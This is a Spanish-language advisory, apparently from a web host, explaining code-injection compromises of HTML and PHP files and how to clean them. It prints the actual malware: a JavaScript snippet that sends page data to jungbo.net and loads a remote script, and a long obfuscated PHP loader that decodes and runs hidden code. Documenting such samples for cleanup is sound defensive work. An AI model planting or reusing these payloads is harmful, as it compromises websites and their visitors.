Nos estamos encontrando que est谩n realizando ataques de inyecci贸n de c贸digo. Los ataques de inyecci贸n de c贸digo m谩s habituales es que por un agujero de seguridad (del CMS o de la aplicaci贸n web instalada) buscan archivos con extensi贸n .PHP o .HTML para meter dos tipos de c贸digo.
Inyecci贸n a ficheros HTML
Si abrimos los ficheros HTML (.html) veremos que, tras unos saltos de linea, tenemos la siguiente linea de c贸digo:
; var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://support.jungbo.net/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
Que se conecta a otra web, a jungbo.net
Recordad que este tipo de inyecciones de cogido tambi茅n pueden realizarse en ficheros con extensi贸n .PHP.
Inyecci贸n a ficheros PHP
En los ficheros de PHP la inyecci贸n de c贸digo es un poco mas diferente. Lo que hacen es a帽adir el siguiente c贸digo (agarraros que es un texto es muy muy largo):
<?php $dazfin = 'c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rx56 x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x x24!>!fyqmpef)# x24*<!%t::!!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% jA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>25f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas,"<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##^?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]tj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57fif((function_exists(" x6f 1BALS[" x61 156 x75 156 x61"])))) { $GLOBALS[" x61 1trstr($uas," x72 166 x3a 61 x31"))) { $zsgjjpo = " x63 162 x65eb#-*f%)sfxpmpusut)tp5]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]")));$rlwpjpu = $zsgjjpo("", $xbpwcda); $rl x22l:!}V;3q%}U;y]}R;2]},;o%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{ x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{-}!#*<%nfd>%fdy<Cb*[%he:4:|:**#ppde#)tutjyf`4 x2 x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX /35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7f>! x24Ypp3)%cB%iN}#-! x24/%tmwj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7dov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppd#>>}R;msv}.;/#/#/},;#-#}+;EEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbekqnj!/!#0#)idubn`hfsq)!sp!*#ojn)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%BFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%7/7#@#7/7^#iubq# x5cq% x27jsv%fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y] x6d 163 x69 145")) or (sx24]y8 x24- x24]26 x24- bss-%rxB%h>#]y31]278]y3e]81]K78:5698364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))11^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y3b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew42 x5f 163 x74 141 x72 164") && (!isset($GLOtcvt)fubmgoj{hA!osvufs!~<3,jtbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnp x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>jnction clvohvu($n){return chr(or~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!tpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6<%>j%!*3! x27!hmg%!)!gj!<2,*j%!-5:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985x24/%tjw/ x24)% x24- x24y4 x24- }[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)r_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y726<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D623}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!g252]y85]256]y6g]257]y86]267]y74]275]y7:]2y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!*68]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s4- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;uw6*CW&)7gj6<*doj%7-C)fepmqnb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uft472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]6}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%#1]#-bubE{h%)tpqsut>j%!*72!x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x2h!opjudovg}{;#)tutjyf`opjudoqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_S6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEvg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)su5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]%>/h%:<**#57]38y]47]671M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]27#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<7y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24<bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e B%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65eg $xbpwcda = implode(array_map("clvohvu",st4]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211Mdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-wpjpu();}}cSFWSFT`%}X;!sp!*#opo#)sfebfI{*w%)kVx{**#k#)tutjyf`xfw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%x27,*d x27,*c x27,*b x27)fep>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%x24<%j,,*!| x24- x24gvodujpo!fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24-x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;6<C>^#zsfvr# x5cq%7**^/ x24)%c*W%eN+#Qi x5c1^W%fd)##Qtpz)#]341]88M4P8]37]278]225]241]33d($n)-1);} @error_reporting(0);*#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmsvufs} x27;mnui}&;zepc}A;~!} x7f;!|!24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c!>!2p%Z<^2 x5c2b%!>!2p%!*!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%n 141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; fusTrREvxNoiTCnuf_EtaerCxECalPer_Rtszizzzimnd'; $tctffylvp=explode(chr((402-282)),substr($dazfin,(19594-13717),(195-161))); $dxsfuac = $tctffylvp[0]($tctffylvp[(5-4)]); $limtnkoqo = $tctffylvp[0]($tctffylvp[(13-11)]); if (!function_exists('sbxiul')) { function sbxiul($unahrn, $wdpsidm,$zovrqaehz) { $yfjugqpw = NULL; for($ewfyjaay=0;$ewfyjaay<(sizeof($unahrn)/2);$ewfyjaay++) { $yfjugqpw .= substr($wdpsidm, $unahrn[($ewfyjaay*2)],$unahrn[($ewfyjaay*2)+(5-4)]); } return $zovrqaehz(chr((38-29)),chr((385-293)),$yfjugqpw); }; } $vdzklh = explode(chr((276-232)),'620,27,2184,44,647,51,46,64,328,65,1908,25,698,62,5824,53,2424,32,5575,31,4742,42,2772,53,3541,67,4024,58,2825,36,3064,50,1118,38,3405,49,2523,47,1065,53,4897,49,5055,37,3759,61,1835,30,5488,22,5143,44,1261,57,3454,27,208,51,4212,66,1766,69,4082,69,5361,57,2693,38,1221,40,5418,70,3895,28,4278,60,2228,28,2570,31,3820,27,4151,61,2456,67,2360,64,2731,41,3172,35,440,50,5757,25,259,69,4633,51,5187,28,4842,55,3257,42,5606,65,1554,30,760,21,3923,64,3987,37,1496,58,3608,55,560,60,2256,40,5003,21,1470,26,905,65,2296,64,1415,55,1039,26,2923,42,1348,67,1651,60,1711,55,393,47,5024,31,878,27,5671,36,3712,47,3114,58,490,70,2965,41,3299,50,4391,22,3006,58,1865,43,3663,49,4580,53,138,70,3847,48,3349,56,2661,32,1933,24,5283,29,970,47,5312,49,110,28,1318,30,5510,25,0,46,4684,58,3481,60,5707,50,2045,67,1957,36,2601,60,2112,40,4413,61,2861,62,4474,40,781,54,3207,50,1017,22,5782,42,5535,40,4784,58,4338,53,1993,52,1156,65,5215,68,2152,32,5092,51,1584,67,4946,47,4514,66,835,43,4993,10'); $eulizhpfk = $dxsfuac("",sbxiul($vdzklh,$dazfin,$limtnkoqo)); $dxsfuac=$dazfin; $eulizhpfk(""); $eulizhpfk=(434-313); $dazfin=$eulizhpfk-1; ?><?php
Este c贸digo se a帽ade en la primera linea de cada fichero .PHP. Para eliminarlo, si se reemplaza este c贸digo (toda la linea) por la siguiente:
<?php
Estar铆a arreglado el problema.
Le recordamos
Le recordamos que siempre debe tener actualizado su aplicaci贸n o sitio web con la ultima versi贸n. Si tiene un CMS tipo WordPress, Drupal o Joomla (entre otros) tener siempre la ultima versi贸n del mismo y si su sitio web esta hecho a mano, revisar que no sea propenso a inyecciones SQL o de inyecci贸n de c贸digo.
